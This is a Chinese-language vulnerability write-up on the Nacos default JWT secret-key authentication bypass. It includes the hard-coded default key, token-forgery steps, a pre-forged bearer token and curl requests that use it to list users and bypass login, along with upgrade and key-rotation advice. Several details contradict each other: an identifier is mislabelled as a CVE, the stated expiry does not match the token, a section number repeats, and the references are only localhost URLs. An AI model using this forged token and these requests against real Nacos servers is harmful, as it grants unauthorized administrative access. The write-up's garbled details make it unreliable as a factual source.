一、漏洞简介¶
1.1 漏洞背景¶
Nacos 使用 JWT Token 进行身份认证,token.secret.key 用于签名。在 Nacos <= 2.2.0 版本中,该密钥使用固定的默认值,攻击者可伪造 JWT Token 绕过认证。此漏洞与 QVD-2023-6271 相关。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | QVD-2023-6271 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | Identity 默认值权限认证绕过 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Nacos |
| 项目 | 内容 |
|---|---|
| CVE 编号 | NVDB-CNVDB-2023674205 |
| 危害等级 | 严重(Critical) |
| CVSS 评分 | 9.8 |
| 漏洞类型 | JWT 密钥泄露 |
| 影响 | 认证绕过、任意用户伪造 |
| 公开日期 | 2023年1月 |
核验说明:原文使用编号 QVD-2023-6271,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。
二、影响范围¶
2.1 受影响的版本¶
- Nacos 0.1.0 - 2.2.0
- Nacos 1.4.1 - 1.4.4
2.2 不受影响的版本¶
- Nacos 2.2.1+
- Nacos 1.4.5+
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Nacos 开启了鉴权功能
- 使用默认的 server.identity 配置
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Nacos 默认配置中:
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
攻击者可使用此密钥生成任意用户的 JWT Token。
3.2 攻击步骤¶
- 访问 https://jwt.io
- Header:
{"alg": "HS256"} - Payload:
{"sub": "nacos", "exp": 1893456000}(2029年过期) - 使用默认 secret.key 签名(需要 base64 编码)
- 在请求中添加
Authorization: Bearer <token>
3.2 源码层面的根因分析(结合源码与补丁对比)¶
暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。
四、漏洞复现(可选)¶
4.1 环境搭建¶
暂无公开可验证复现信息。
4.2 PoC 演示与测试过程¶
伪造的 JWT Token(2029年过期):
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo
使用 Token 访问:
curl -X GET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg5MTA3MTgxMH0.eGXadXUaD2rzhbO17oGXx23O00GbU3alxX7Vjaswtvo'
绕过登录验证:
curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users/login' \
-H 'Authorization: Bearer <forged_token>' \
-d 'username=nacos&password=wrong'
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到 Nacos 2.2.1 或更高版本
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
修改 token.secret.key:
# application.properties
nacos.core.auth.plugin.nacos.token.secret.key=YourStrongSecretKeyWithAtLeast32Chars1234567890!
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。
6.2 其他技术参考资料¶
- http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
- http://127.0.0.1:8848/nacos/v1/auth/users'
- https://jwt.io
- http://127.0.0.1:8848/nacos/v1/auth/users/login'